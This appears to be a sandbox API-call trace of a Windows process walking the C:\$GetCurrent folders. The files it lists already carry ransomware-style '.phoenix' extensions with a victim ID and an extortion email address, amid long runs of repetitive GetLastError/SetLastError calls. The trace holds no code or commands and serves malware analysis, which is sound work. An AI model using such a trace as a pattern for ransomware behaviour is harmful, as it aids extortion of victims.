	[0218.817] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x288f4ec | out: lpFindFileData=0x288f4ec*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9b28dcfd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="..", cAlternateFileName="")) returned 1
	[0218.817] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x288f4ec | out: lpFindFileData=0x288f4ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="Logs", cAlternateFileName="")) returned 1
	[0218.817] GetLastError () returned 0x0
	[0218.817] SetLastError (dwErrCode=0x0) 
	[0218.817] GetLastError () returned 0x0
	[0218.817] SetLastError (dwErrCode=0x0) 
	[0218.817] GetLastError () returned 0x0
	[0218.817] SetLastError (dwErrCode=0x0) 
	[0218.817] GetLastError () returned 0x0
	[0218.817] SetLastError (dwErrCode=0x0) 
	[0218.817] GetLastError () returned 0x0
	[0218.817] SetLastError (dwErrCode=0x0) 
	[0218.817] GetLastError () returned 0x0
	[0218.817] SetLastError (dwErrCode=0x0) 
	[0218.817] GetLastError () returned 0x0
	[0218.817] SetLastError (dwErrCode=0x0) 
	[0218.817] GetLastError () returned 0x0
	[0218.818] SetLastError (dwErrCode=0x0) 
	[0218.818] GetLastError () returned 0x0
	[0218.818] SetLastError (dwErrCode=0x0) 
	[0218.818] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x10000) returned 0x760060
	[0218.818] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1393e0
	[0218.819] FindNextFileW (in: hFindFile=0x1393e0, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0218.819] FindNextFileW (in: hFindFile=0x1393e0, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ca95630, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3ca95630, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3cb07eb2, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0xa7e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="downlevel_2017_09_07_02_02_39_766.log.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="DOWNLE~1.PHO")) returned 1
	[0218.819] GetLastError () returned 0x0
	[0218.819] SetLastError (dwErrCode=0x0) 
	[0218.819] GetLastError () returned 0x0
	[0218.819] SetLastError (dwErrCode=0x0) 
	[0218.819] GetLastError () returned 0x0
	[0218.819] SetLastError (dwErrCode=0x0) 
	[0218.819] GetLastError () returned 0x0
	[0218.819] SetLastError (dwErrCode=0x0) 
	[0218.819] GetLastError () returned 0x0
	[0218.819] SetLastError (dwErrCode=0x0) 
	[0218.819] GetLastError () returned 0x0
	[0218.819] SetLastError (dwErrCode=0x0) 
	[0218.819] GetLastError () returned 0x0
	[0218.819] SetLastError (dwErrCode=0x0) 
	[0218.819] GetLastError () returned 0x0
	[0218.819] SetLastError (dwErrCode=0x0) 
	[0218.819] GetLastError () returned 0x0
	[0218.820] SetLastError (dwErrCode=0x0) 
	[0218.820] GetLastError () returned 0x0
	[0218.820] SetLastError (dwErrCode=0x0) 
	[0218.820] GetLastError () returned 0x0
	[0218.820] SetLastError (dwErrCode=0x0) 
	[0218.820] GetLastError () returned 0x0
	[0218.820] SetLastError (dwErrCode=0x0) 
	[0218.820] GetLastError () returned 0x0
	[0218.820] SetLastError (dwErrCode=0x0) 
	[0218.820] GetLastError () returned 0x0
	[0218.820] SetLastError (dwErrCode=0x0) 
	[0218.820] GetLastError () returned 0x0
	[0218.820] SetLastError (dwErrCode=0x0) 
	[0218.820] GetLastError () returned 0x0
	[0218.820] SetLastError (dwErrCode=0x0) 
	[0218.820] GetLastError () returned 0x0
	[0218.820] SetLastError (dwErrCode=0x0) 
	[0218.820] GetLastError () returned 0x0
	[0218.820] SetLastError (dwErrCode=0x0) 
	[0218.820] GetLastError () returned 0x0
	[0218.820] SetLastError (dwErrCode=0x0) 
	[0218.820] GetLastError () returned 0x0
	[0218.820] SetLastError (dwErrCode=0x0) 
	[0218.820] GetLastError () returned 0x0
	[0218.820] SetLastError (dwErrCode=0x0) 
	[0218.820] GetLastError () returned 0x0
	[0218.820] SetLastError (dwErrCode=0x0) 
	[0218.820] GetLastError () returned 0x0
	[0218.820] SetLastError (dwErrCode=0x0) 
	[0218.820] GetLastError () returned 0x0
	[0218.820] SetLastError (dwErrCode=0x0) 
	[0218.821] GetLastError () returned 0x0
	[0218.821] SetLastError (dwErrCode=0x0) 
	[0218.821] GetLastError () returned 0x0
	[0218.821] SetLastError (dwErrCode=0x0) 
	[0218.821] GetLastError () returned 0x0
	[0218.821] SetLastError (dwErrCode=0x0) 
	[0218.821] GetLastError () returned 0x0
	[0218.821] SetLastError (dwErrCode=0x0) 
	[0218.821] GetLastError () returned 0x0
	[0218.821] SetLastError (dwErrCode=0x0) 
	[0218.821] GetLastError () returned 0x0
	[0218.821] SetLastError (dwErrCode=0x0) 
	[0218.821] GetLastError () returned 0x0
	[0218.821] SetLastError (dwErrCode=0x0) 
	[0218.821] GetLastError () returned 0x0
	[0218.821] SetLastError (dwErrCode=0x0) 
	[0218.821] GetLastError () returned 0x0
	[0218.821] SetLastError (dwErrCode=0x0) 
	[0218.821] GetLastError () returned 0x0
	[0218.821] SetLastError (dwErrCode=0x0) 
	[0218.821] GetLastError () returned 0x0
	[0218.821] SetLastError (dwErrCode=0x0) 
	[0218.821] GetLastError () returned 0x0
	[0218.821] SetLastError (dwErrCode=0x0) 
	[0218.821] GetLastError () returned 0x0
	[0218.821] SetLastError (dwErrCode=0x0) 
	[0218.821] GetLastError () returned 0x0
	[0218.821] SetLastError (dwErrCode=0x0) 
	[0218.821] GetLastError () returned 0x0
	[0218.822] SetLastError (dwErrCode=0x0) 
	[0218.822] GetLastError () returned 0x0
	[0218.822] SetLastError (dwErrCode=0x0) 
	[0218.822] GetLastError () returned 0x0
	[0218.822] SetLastError (dwErrCode=0x0) 
	[0218.822] GetLastError () returned 0x0
	[0218.822] SetLastError (dwErrCode=0x0) 
	[0218.822] GetLastError () returned 0x0
	[0218.822] SetLastError (dwErrCode=0x0) 
	[0218.822] GetLastError () returned 0x0
	[0218.822] SetLastError (dwErrCode=0x0) 
	[0218.822] GetLastError () returned 0x0
	[0218.822] SetLastError (dwErrCode=0x0) 
	[0218.822] GetLastError () returned 0x0
	[0218.822] SetLastError (dwErrCode=0x0) 
	[0218.822] GetLastError () returned 0x0
	[0218.822] SetLastError (dwErrCode=0x0) 
	[0218.822] GetLastError () returned 0x0
	[0218.822] SetLastError (dwErrCode=0x0) 
	[0218.822] GetLastError () returned 0x0
	[0218.822] SetLastError (dwErrCode=0x0) 
	[0218.822] GetLastError () returned 0x0
	[0218.822] SetLastError (dwErrCode=0x0) 
	[0218.822] GetLastError () returned 0x0
	[0218.822] SetLastError (dwErrCode=0x0) 
	[0218.822] GetLastError () returned 0x0
	[0218.822] SetLastError (dwErrCode=0x0) 
	[0218.822] GetLastError () returned 0x0
	[0218.822] SetLastError (dwErrCode=0x0) 
	[0218.822] GetLastError () returned 0x0
	[0218.823] SetLastError (dwErrCode=0x0) 
	[0218.823] GetLastError () returned 0x0
	[0218.823] SetLastError (dwErrCode=0x0) 
	[0218.823] GetLastError () returned 0x0
	[0218.823] SetLastError (dwErrCode=0x0) 
	[0218.823] GetLastError () returned 0x0
	[0218.823] SetLastError (dwErrCode=0x0) 
	[0218.823] GetLastError () returned 0x0
	[0218.823] SetLastError (dwErrCode=0x0) 
	[0218.823] GetLastError () returned 0x0
	[0218.823] SetLastError (dwErrCode=0x0) 
	[0218.823] GetLastError () returned 0x0
	[0218.823] SetLastError (dwErrCode=0x0) 
	[0218.823] GetLastError () returned 0x0
	[0218.823] SetLastError (dwErrCode=0x0) 
	[0218.823] GetLastError () returned 0x0
	[0218.823] SetLastError (dwErrCode=0x0) 
	[0218.823] GetLastError () returned 0x0
	[0218.823] SetLastError (dwErrCode=0x0) 
	[0218.823] GetLastError () returned 0x0
	[0218.823] SetLastError (dwErrCode=0x0) 
	[0218.823] GetLastError () returned 0x0
	[0218.823] SetLastError (dwErrCode=0x0) 
	[0218.823] GetLastError () returned 0x0
	[0218.823] SetLastError (dwErrCode=0x0) 
	[0218.823] GetLastError () returned 0x0
	[0218.823] SetLastError (dwErrCode=0x0) 
	[0218.823] GetLastError () returned 0x0
	[0218.823] SetLastError (dwErrCode=0x0) 
	[0218.823] GetLastError () returned 0x0
	[0218.824] SetLastError (dwErrCode=0x0) 
	[0218.824] GetLastError () returned 0x0
	[0218.824] SetLastError (dwErrCode=0x0) 
	[0218.824] GetLastError () returned 0x0
	[0218.824] SetLastError (dwErrCode=0x0) 
	[0218.824] GetLastError () returned 0x0
	[0218.824] SetLastError (dwErrCode=0x0) 
	[0218.824] GetLastError () returned 0x0
	[0218.824] SetLastError (dwErrCode=0x0) 
	[0218.824] GetLastError () returned 0x0
	[0218.824] SetLastError (dwErrCode=0x0) 
	[0218.824] GetLastError () returned 0x0
	[0218.824] SetLastError (dwErrCode=0x0) 
	[0218.824] GetLastError () returned 0x0
	[0218.824] SetLastError (dwErrCode=0x0) 
	[0218.824] GetLastError () returned 0x0
	[0218.824] SetLastError (dwErrCode=0x0) 
	[0218.824] GetLastError () returned 0x0
	[0218.824] SetLastError (dwErrCode=0x0) 
	[0218.824] GetLastError () returned 0x0
	[0218.824] SetLastError (dwErrCode=0x0) 
	[0218.824] GetLastError () returned 0x0
	[0218.824] SetLastError (dwErrCode=0x0) 
	[0218.824] GetLastError () returned 0x0
	[0218.824] SetLastError (dwErrCode=0x0) 
	[0218.824] GetLastError () returned 0x0
	[0218.824] SetLastError (dwErrCode=0x0) 
	[0218.824] GetLastError () returned 0x0
	[0218.824] SetLastError (dwErrCode=0x0) 
	[0218.824] GetLastError () returned 0x0
	[0218.824] SetLastError (dwErrCode=0x0) 
	[0218.825] GetLastError () returned 0x0
	[0218.825] SetLastError (dwErrCode=0x0) 
	[0218.825] GetLastError () returned 0x0
	[0218.825] SetLastError (dwErrCode=0x0) 
	[0218.825] GetLastError () returned 0x0
	[0218.825] SetLastError (dwErrCode=0x0) 
	[0218.825] GetLastError () returned 0x0
	[0218.825] SetLastError (dwErrCode=0x0) 
	[0218.825] GetLastError () returned 0x0
	[0218.825] SetLastError (dwErrCode=0x0) 
	[0218.825] GetLastError () returned 0x0
	[0218.825] SetLastError (dwErrCode=0x0) 
	[0218.825] GetLastError () returned 0x0
	[0218.825] SetLastError (dwErrCode=0x0) 
	[0218.825] GetLastError () returned 0x0
	[0218.825] SetLastError (dwErrCode=0x0) 
	[0218.825] GetLastError () returned 0x0
	[0218.825] SetLastError (dwErrCode=0x0) 
	[0218.825] GetLastError () returned 0x0
	[0218.825] SetLastError (dwErrCode=0x0) 
	[0218.825] GetLastError () returned 0x0
	[0218.825] SetLastError (dwErrCode=0x0) 
	[0218.825] GetLastError () returned 0x0
	[0218.825] SetLastError (dwErrCode=0x0) 
	[0218.825] GetLastError () returned 0x0
	[0218.825] SetLastError (dwErrCode=0x0) 
	[0218.825] GetLastError () returned 0x0
	[0218.825] SetLastError (dwErrCode=0x0) 
	[0218.825] GetLastError () returned 0x0
	[0218.825] SetLastError (dwErrCode=0x0) 
	[0218.825] GetLastError () returned 0x0
	[0218.826] SetLastError (dwErrCode=0x0) 
	[0218.826] GetLastError () returned 0x0
	[0218.826] SetLastError (dwErrCode=0x0) 
	[0218.826] GetLastError () returned 0x0
	[0218.826] SetLastError (dwErrCode=0x0) 
	[0218.826] GetLastError () returned 0x0
	[0218.826] SetLastError (dwErrCode=0x0) 
	[0218.826] GetLastError () returned 0x0
	[0218.826] SetLastError (dwErrCode=0x0) 
	[0218.826] GetLastError () returned 0x0
	[0218.826] SetLastError (dwErrCode=0x0) 
	[0218.826] GetLastError () returned 0x0
	[0218.826] SetLastError (dwErrCode=0x0) 
	[0218.826] GetLastError () returned 0x0
	[0218.826] SetLastError (dwErrCode=0x0) 
	[0218.826] GetLastError () returned 0x0
	[0218.826] SetLastError (dwErrCode=0x0) 
	[0218.826] GetLastError () returned 0x0
	[0218.826] SetLastError (dwErrCode=0x0) 
	[0218.826] GetLastError () returned 0x0
	[0218.826] SetLastError (dwErrCode=0x0) 
	[0218.826] GetLastError () returned 0x0
	[0218.826] SetLastError (dwErrCode=0x0) 
	[0218.826] GetLastError () returned 0x0
	[0218.826] SetLastError (dwErrCode=0x0) 
	[0218.826] GetLastError () returned 0x0
	[0218.826] SetLastError (dwErrCode=0x0) 
	[0218.827] GetLastError () returned 0x0
	[0218.827] SetLastError (dwErrCode=0x0) 
	[0218.827] GetLastError () returned 0x0
	[0218.827] SetLastError (dwErrCode=0x0) 
	[0218.827] GetLastError () returned 0x0
	[0218.827] SetLastError (dwErrCode=0x0) 
	[0218.827] GetLastError () returned 0x0
	[0218.827] SetLastError (dwErrCode=0x0) 
	[0218.827] GetLastError () returned 0x0
	[0218.827] SetLastError (dwErrCode=0x0) 
	[0218.827] GetLastError () returned 0x0
	[0218.827] SetLastError (dwErrCode=0x0) 
	[0218.827] GetLastError () returned 0x0
	[0218.827] SetLastError (dwErrCode=0x0) 
	[0218.827] GetLastError () returned 0x0
	[0218.827] SetLastError (dwErrCode=0x0) 
	[0218.827] GetLastError () returned 0x0
	[0218.827] SetLastError (dwErrCode=0x0) 
	[0218.827] GetLastError () returned 0x0
	[0218.827] SetLastError (dwErrCode=0x0) 
	[0218.827] GetLastError () returned 0x0
	[0218.827] SetLastError (dwErrCode=0x0) 
	[0218.827] GetLastError () returned 0x0
	[0218.827] SetLastError (dwErrCode=0x0) 
	[0218.827] GetLastError () returned 0x0
	[0218.827] SetLastError (dwErrCode=0x0) 
	[0218.827] GetLastError () returned 0x0
	[0218.827] SetLastError (dwErrCode=0x0) 
	[0218.827] GetLastError () returned 0x0
	[0218.827] SetLastError (dwErrCode=0x0) 
	[0218.828] GetLastError () returned 0x0
	[0218.828] SetLastError (dwErrCode=0x0) 
	[0218.828] GetLastError () returned 0x0
	[0218.828] SetLastError (dwErrCode=0x0) 
	[0218.828] GetLastError () returned 0x0
	[0218.828] SetLastError (dwErrCode=0x0) 
	[0218.828] GetLastError () returned 0x0
	[0218.828] SetLastError (dwErrCode=0x0) 
	[0218.828] GetLastError () returned 0x0
	[0218.828] SetLastError (dwErrCode=0x0) 
	[0218.828] GetLastError () returned 0x0
	[0218.828] SetLastError (dwErrCode=0x0) 
	[0218.828] GetLastError () returned 0x0
	[0218.828] SetLastError (dwErrCode=0x0) 
	[0218.828] GetLastError () returned 0x0
	[0218.828] SetLastError (dwErrCode=0x0) 
	[0218.828] GetLastError () returned 0x0
	[0218.828] SetLastError (dwErrCode=0x0) 
	[0218.828] GetLastError () returned 0x0
	[0218.828] SetLastError (dwErrCode=0x0) 
	[0218.828] GetLastError () returned 0x0
	[0218.828] SetLastError (dwErrCode=0x0) 
	[0218.828] GetLastError () returned 0x0
	[0218.828] SetLastError (dwErrCode=0x0) 
	[0218.828] GetLastError () returned 0x0
	[0218.828] SetLastError (dwErrCode=0x0) 
	[0218.828] GetLastError () returned 0x0
	[0218.828] SetLastError (dwErrCode=0x0) 
	[0218.828] GetLastError () returned 0x0
	[0218.828] SetLastError (dwErrCode=0x0) 
	[0218.828] GetLastError () returned 0x0
	[0218.829] SetLastError (dwErrCode=0x0) 
	[0218.829] GetLastError () returned 0x0
	[0218.829] SetLastError (dwErrCode=0x0) 
	[0218.829] GetLastError () returned 0x0
	[0218.829] SetLastError (dwErrCode=0x0) 
	[0218.829] GetLastError () returned 0x0
	[0218.829] SetLastError (dwErrCode=0x0) 
	[0218.829] GetLastError () returned 0x0
	[0218.829] SetLastError (dwErrCode=0x0) 
	[0218.829] GetLastError () returned 0x0
	[0218.829] SetLastError (dwErrCode=0x0) 
	[0218.829] GetLastError () returned 0x0
	[0218.829] SetLastError (dwErrCode=0x0) 
	[0218.829] GetLastError () returned 0x0
	[0218.829] SetLastError (dwErrCode=0x0) 
	[0218.829] GetLastError () returned 0x0
	[0218.829] SetLastError (dwErrCode=0x0) 
	[0218.829] GetLastError () returned 0x0
	[0218.829] SetLastError (dwErrCode=0x0) 
	[0218.829] GetLastError () returned 0x0
	[0218.829] SetLastError (dwErrCode=0x0) 
	[0218.829] GetLastError () returned 0x0
	[0218.829] SetLastError (dwErrCode=0x0) 
	[0218.829] GetLastError () returned 0x0
	[0218.829] SetLastError (dwErrCode=0x0) 
	[0218.829] GetLastError () returned 0x0
	[0218.829] SetLastError (dwErrCode=0x0) 
	[0218.829] GetLastError () returned 0x0
	[0218.829] SetLastError (dwErrCode=0x0) 
	[0218.829] GetLastError () returned 0x0
	[0218.830] SetLastError (dwErrCode=0x0) 
	[0218.830] GetLastError () returned 0x0
	[0218.830] SetLastError (dwErrCode=0x0) 
	[0218.830] GetLastError () returned 0x0
	[0218.830] SetLastError (dwErrCode=0x0) 
	[0218.830] GetLastError () returned 0x0
	[0218.830] SetLastError (dwErrCode=0x0) 
	[0218.830] GetLastError () returned 0x0
	[0218.830] SetLastError (dwErrCode=0x0) 
	[0218.830] GetLastError () returned 0x0
	[0218.830] SetLastError (dwErrCode=0x0) 
	[0218.830] GetLastError () returned 0x0
	[0218.830] SetLastError (dwErrCode=0x0) 
	[0218.830] GetLastError () returned 0x0
	[0218.830] SetLastError (dwErrCode=0x0) 
	[0218.830] GetLastError () returned 0x0
	[0218.830] SetLastError (dwErrCode=0x0) 
	[0218.830] GetLastError () returned 0x0
	[0218.830] SetLastError (dwErrCode=0x0) 
	[0218.830] GetLastError () returned 0x0
	[0218.830] SetLastError (dwErrCode=0x0) 
	[0218.830] GetLastError () returned 0x0
	[0218.830] SetLastError (dwErrCode=0x0) 
	[0218.830] GetLastError () returned 0x0
	[0218.830] SetLastError (dwErrCode=0x0) 
	[0218.830] GetLastError () returned 0x0
	[0218.830] SetLastError (dwErrCode=0x0) 
	[0218.830] GetLastError () returned 0x0
	[0218.830] SetLastError (dwErrCode=0x0) 
	[0218.830] GetLastError () returned 0x0
	[0218.830] SetLastError (dwErrCode=0x0) 
	[0218.831] GetLastError () returned 0x0
	[0218.831] SetLastError (dwErrCode=0x0) 
	[0218.831] GetLastError () returned 0x0
	[0218.831] SetLastError (dwErrCode=0x0) 
	[0218.831] GetLastError () returned 0x0
	[0218.831] SetLastError (dwErrCode=0x0) 
	[0218.831] GetLastError () returned 0x0
	[0218.831] SetLastError (dwErrCode=0x0) 
	[0218.831] GetLastError () returned 0x0
	[0218.831] SetLastError (dwErrCode=0x0) 
	[0218.831] GetLastError () returned 0x0
	[0218.831] SetLastError (dwErrCode=0x0) 
	[0218.831] GetLastError () returned 0x0
	[0218.831] SetLastError (dwErrCode=0x0) 
	[0218.831] GetLastError () returned 0x0
	[0218.831] SetLastError (dwErrCode=0x0) 
	[0218.831] GetLastError () returned 0x0
	[0218.831] SetLastError (dwErrCode=0x0) 
	[0218.831] GetLastError () returned 0x0
	[0218.831] SetLastError (dwErrCode=0x0) 
	[0218.831] GetLastError () returned 0x0
	[0218.831] SetLastError (dwErrCode=0x0) 
	[0218.831] GetLastError () returned 0x0
	[0218.831] SetLastError (dwErrCode=0x0) 
	[0218.831] GetLastError () returned 0x0
	[0218.831] SetLastError (dwErrCode=0x0) 
	[0218.831] GetLastError () returned 0x0
	[0218.831] SetLastError (dwErrCode=0x0) 
	[0218.831] GetLastError () returned 0x0
	[0218.831] SetLastError (dwErrCode=0x0) 
	[0218.831] GetLastError () returned 0x0
	[0218.832] SetLastError (dwErrCode=0x0) 
	[0218.832] GetLastError () returned 0x0
	[0218.832] SetLastError (dwErrCode=0x0) 
	[0218.832] GetLastError () returned 0x0
	[0218.832] SetLastError (dwErrCode=0x0) 
	[0218.832] GetLastError () returned 0x0
	[0218.832] SetLastError (dwErrCode=0x0) 
	[0218.832] GetLastError () returned 0x0
	[0218.832] SetLastError (dwErrCode=0x0) 
	[0218.832] GetLastError () returned 0x0
	[0218.832] SetLastError (dwErrCode=0x0) 
	[0218.832] GetLastError () returned 0x0
	[0218.832] SetLastError (dwErrCode=0x0) 
	[0218.832] GetLastError () returned 0x0
	[0218.832] SetLastError (dwErrCode=0x0) 
	[0218.832] GetLastError () returned 0x0
	[0218.832] SetLastError (dwErrCode=0x0) 
	[0218.832] GetLastError () returned 0x0
	[0218.832] SetLastError (dwErrCode=0x0) 
	[0218.832] GetLastError () returned 0x0
	[0218.832] SetLastError (dwErrCode=0x0) 
	[0218.832] GetLastError () returned 0x0
	[0218.832] SetLastError (dwErrCode=0x0) 
	[0218.832] GetLastError () returned 0x0
	[0218.832] SetLastError (dwErrCode=0x0) 
	[0218.832] GetLastError () returned 0x0
	[0218.832] SetLastError (dwErrCode=0x0) 
	[0218.832] GetLastError () returned 0x0
	[0218.832] SetLastError (dwErrCode=0x0) 
	[0218.832] GetLastError () returned 0x0
	[0218.833] SetLastError (dwErrCode=0x0) 
	[0218.833] GetLastError () returned 0x0
	[0218.833] SetLastError (dwErrCode=0x0) 
	[0218.833] GetLastError () returned 0x0
	[0218.833] SetLastError (dwErrCode=0x0) 
	[0218.833] GetLastError () returned 0x0
	[0218.833] SetLastError (dwErrCode=0x0) 
	[0218.833] GetLastError () returned 0x0
	[0218.833] SetLastError (dwErrCode=0x0) 
	[0218.833] GetLastError () returned 0x0
	[0218.833] SetLastError (dwErrCode=0x0) 
	[0218.833] GetLastError () returned 0x0
	[0218.833] SetLastError (dwErrCode=0x0) 
	[0218.833] GetLastError () returned 0x0
	[0218.833] SetLastError (dwErrCode=0x0) 
	[0218.833] GetLastError () returned 0x0
	[0218.833] SetLastError (dwErrCode=0x0) 
	[0218.833] GetLastError () returned 0x0
	[0218.833] SetLastError (dwErrCode=0x0) 
	[0218.833] GetLastError () returned 0x0
	[0218.833] SetLastError (dwErrCode=0x0) 
	[0218.833] GetLastError () returned 0x0
	[0218.833] SetLastError (dwErrCode=0x0) 
	[0218.833] GetLastError () returned 0x0
	[0218.833] SetLastError (dwErrCode=0x0) 
	[0218.833] GetLastError () returned 0x0
	[0218.833] SetLastError (dwErrCode=0x0) 
	[0218.833] GetLastError () returned 0x0
	[0218.833] SetLastError (dwErrCode=0x0) 
	[0218.833] GetLastError () returned 0x0
	[0218.834] SetLastError (dwErrCode=0x0) 
	[0218.834] GetLastError () returned 0x0
	[0218.834] SetLastError (dwErrCode=0x0) 
	[0218.834] GetLastError () returned 0x0
	[0218.834] SetLastError (dwErrCode=0x0) 
	[0218.834] GetLastError () returned 0x0
	[0218.834] SetLastError (dwErrCode=0x0) 
	[0218.834] GetLastError () returned 0x0
	[0218.834] SetLastError (dwErrCode=0x0) 
	[0218.834] GetLastError () returned 0x0
	[0218.834] SetLastError (dwErrCode=0x0) 
	[0218.834] GetLastError () returned 0x0
	[0218.834] SetLastError (dwErrCode=0x0) 
	[0218.834] GetLastError () returned 0x0
	[0218.834] SetLastError (dwErrCode=0x0) 
	[0218.834] GetLastError () returned 0x0
	[0218.834] SetLastError (dwErrCode=0x0) 
	[0218.834] GetLastError () returned 0x0
	[0218.834] SetLastError (dwErrCode=0x0) 
	[0218.834] GetLastError () returned 0x0
	[0218.834] SetLastError (dwErrCode=0x0) 
	[0218.834] FindNextFileW (in: hFindFile=0x1393e0, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ca95630, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3ca95630, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3cae1b2e, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x18a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="oobe_2017_09_07_03_08_57_737.log.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="OOBE_2~1.PHO")) returned 1
	[0218.834] FindNextFileW (in: hFindFile=0x1393e0, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cb07eb2, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3cb07eb2, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3ce02cce, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x142, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="PARTNE~1.PHO")) returned 1
	[0218.834] FindNextFileW (in: hFindFile=0x1393e0, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cb07eb2, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3cb07eb2, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3ce02cce, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x142, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="PARTNE~1.PHO")) returned 0
	[0218.835] FindClose (in: hFindFile=0x1393e0 | out: hFindFile=0x1393e0) returned 1
	[0218.835] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x760060 | out: hHeap=0x680000) returned 1
	[0218.835] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x288f4ec | out: lpFindFileData=0x288f4ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7e0055, dwReserved1=0x31, cFileName="SafeOS", cAlternateFileName="")) returned 1
	[0218.835] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\*", lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139560
	[0218.836] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x288f268 | out: lpFindFileData=0x288f268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
